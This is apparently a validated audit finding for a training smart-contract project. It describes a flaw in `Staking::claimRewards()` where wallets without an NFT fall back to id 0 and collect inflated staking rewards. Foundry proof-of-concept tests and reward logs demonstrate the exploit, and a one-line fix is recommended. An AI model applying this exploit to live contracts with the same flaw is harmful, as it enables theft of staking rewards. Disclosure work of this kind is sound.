Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Improper validations within `Staking::claimRewards()` allows attackers to claim additional rewards

Summary

An attacker can mint a Soulbound NFT, claim a loveToken from the Airdrop contract, and transfer the token to an
address unassociated with an NFT. Subsequently, they can stake the token in the Staking contract and claim rewards using the timestamp
of the first minted NFT.
This can only be done for the first claim, afterward, the lastClaim storage slot is updated with the new timestamp.

Vulnerability Details

The Staking::claimRewards() function improperly calculates the number of weeks for an address without a Soulbound NFT, resulting in a
return of the id 0, corresponding to the first-ever minted NFT.

function claimRewards() public {
@> uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
...
...
}

Impact

An attacker can claim additional rewards, mimicking the behavior of possessing the first-ever minted NFT.

This first test corresponds to a normal reward calculation.

  • Two users mint an NFT.

  • Some time passes.

  • Then another two users mint a new NFT.

  • User deposits in the staker contract

  • Some time later the user claims the rewards.

function test_validRewards() public {
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(anotherSoulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(anotherSoulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 101 days + 1 seconds);
vm.startPrank(soulmate1);
airdropContract.claim();
vm.stopPrank();
//Deposit 1 token
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), loveToken.balanceOf(soulmate1));
stakingContract.deposit(loveToken.balanceOf(soulmate1));
vm.stopPrank();
vm.warp(block.timestamp + 200 days + 1 seconds);
vm.startPrank(soulmate1);
stakingContract.claimRewards();
vm.stopPrank();
console.log("Balance rewards normal user: ", loveToken.balanceOf(soulmate1) / 10 ** loveToken.decimals());
}

This second test corresponds to an attacker.

  • Two users mint an NFT.

  • Some time passes.

  • Then the attacker and another user mint a new NFT.

  • The attacker transfer the token to another addres with no Soulbound NFT associated.

  • Attacker deposits in the staker contract

  • The attacker claim rewards corresponding to the first minted NFT.

function test_stakesRewardsNoSoulmate() public {
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(anotherSoulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(anotherSoulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 100 days + 1 seconds);
vm.startPrank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.startPrank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
vm.warp(block.timestamp + 101 days + 1 seconds);
vm.startPrank(soulmate1);
airdropContract.claim();
loveToken.transfer(attacker, loveToken.balanceOf(address(soulmate1)));
vm.stopPrank();
//Deposit 1 token
vm.startPrank(attacker);
loveToken.approve(address(stakingContract), loveToken.balanceOf(attacker));
stakingContract.deposit(loveToken.balanceOf(attacker));
vm.stopPrank();
vm.warp(block.timestamp + 200 days + 1 seconds);
vm.startPrank(attacker);
stakingContract.claimRewards();
vm.stopPrank();
console.log("Balance rewards attacker: ", loveToken.balanceOf(attacker) / 10 ** loveToken.decimals());
}

Output showing the differences in the amount of rewards for the actions of a normal user vs the actions of an attacker.

Logs:
Balance rewards normal user: 4343
Balance rewards attacker: 5757

Tools Used

Manual review and Foundry

Recommendations

Check if the user has minted NFT and start counting from nextID = 1, so an id of 0 will be used as invalid.

function claimRewards() public {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
++ require(soulmateId != 0);
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
...
...
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.